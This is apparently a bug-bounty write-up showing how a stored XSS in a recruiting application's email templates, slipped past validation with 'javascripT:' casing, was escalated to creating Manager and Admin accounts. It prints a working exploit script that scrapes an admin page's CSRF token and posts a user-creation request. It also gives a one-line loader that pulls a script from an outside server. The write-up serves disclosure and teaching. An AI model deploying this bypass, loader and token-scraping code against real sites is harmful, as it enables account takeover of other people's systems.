<
xss · critical

Privilege Escalation via Stored XSS

8 min read r29k

A step-by-step account of how a stored XSS in an email-template system escalated into a full account takeover.

The target and initial discovery

The target was an external recruiting application with multiple roles: Admin, Manager and Staff. Users could create templates for email outreach, each with a title, a body, and support for inserting links. While testing the template inputs, I noticed link insertion behaving oddly.

I tried the usual payloads like javascript:alert() and got validation errors about invalid syntax. After a few case variations, I managed to store a link with javascripT:alert(1). It didn't execute inside the editor or the composer, so at first it looked harmless.

Where the XSS actually fired

The application echoed certain outgoing emails into an Activity feed. When that echo rendered the stored template, the javascripT: link executed. If you select visible text in the body and attach a link to it, the malicious href hides behind normal-looking text, so the content reads as benign while the underlying link is the payload.

Hiding the XSS payload behind selected text in the template body.
Stored XSS firing when the echoed email appears in Activity.

Escalation plan: CSRF token scraping

Cookies were set with the HttpOnly flag, so stealing them with JavaScript was off the table. The plan instead was to steal CSRF tokens from admin pages and fire requests from the victim's own browser. Since the browser is on the same origin, cookies and session credentials get sent automatically. So the exploit runs inside a privileged user's browser, pulls the CSRF token, and calls privileged APIs using their session.

The steps:

  1. Store an XSS payload that loads a remote script when a privileged user clicks it in Activity.
  2. The remote script requests a protected admin page that contains a CSRF token in its HTML.
  3. It parses the HTML, extracts the token, and issues a POST to the add-user API with the token, letting the browser send cookies automatically.
  4. A new Manager or Admin user is created, and the attacker logs in with those credentials.

The exploit code

The hosted exploit first fetched the admin "add" page, parsed the CSRF token from the HTML, then posted to the user-creation endpoint using credentials: 'include'.

exploit.js
function readBody(xhr) { var data; if (!xhr.responseType || xhr.responseType === "text") { data = xhr.responseText; } else if (xhr.responseType === "document") { data = xhr.responseXML; } else { data = xhr.response; } var parser = new DOMParser(); var resp = parser.parseFromString(data, "text/html"); token = resp.getElementsByName('_csrf')[0].content; // grab first token csrf(token); return data; } var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function() { if (xhr.readyState == 4) { response = readBody(xhr); } }; xhr.open('GET', 'https://target.com/admin/add', true); xhr.send(null); function csrf(token) { fetch('https://target.com/api/add.action', { method: 'POST', headers: { 'Accept': 'application/json, text/plain, */*', 'X-Csrf-Token': token, 'Content-Type': 'application/x-www-form-urlencoded;charset=UTF-8', 'Referer': 'https://target.com/admin/add' }, credentials: 'include', body: 'firstName=hacker&lastName=r29k&emailId=r29k%40gmail.com&phoneNo=&Permissions=1' }); }

The stored payload itself was a single-line loader that appended a remote script tag:

xss payload
javascript:var s=document.createElement('script');s.type='text/javascript';s.src='https://myserver/file.js';document.head.appendChild(s);

Execution and outcome

The Activity echo is visible to Managers and Admins. When a Manager clicked the echoed email, the hosted script ran in their browser, fetched the admin add page, extracted the CSRF token, and posted the add-user request using the Manager's session. A new Manager-level user was created and I had the credentials.

Once my Admin account was unlocked, I ran the same exploit and created an Admin-level user. The vendor validated the report, and the bounty awarded was 1,000 USD.

Responsible disclosure and credits

I submitted a detailed report with the PoC and mitigation suggestions.

Mitigations

Final notes

Stored XSS that looks harmless in the editor can be a powerful escalation vector once it renders into a privileged UI. Small behaviors, like permitting odd href casing or echoing templates back into an Activity feed, are enough to reach account takeover quickly once the chain comes together.


Questions or feedback? Reach me on LinkedIn, Sheraz Khalid. Thanks for reading.

more writeups
Account Takeover via Chained IDORs Wayback Machine to Account Takeover SSTI to Local File Read
← all writeups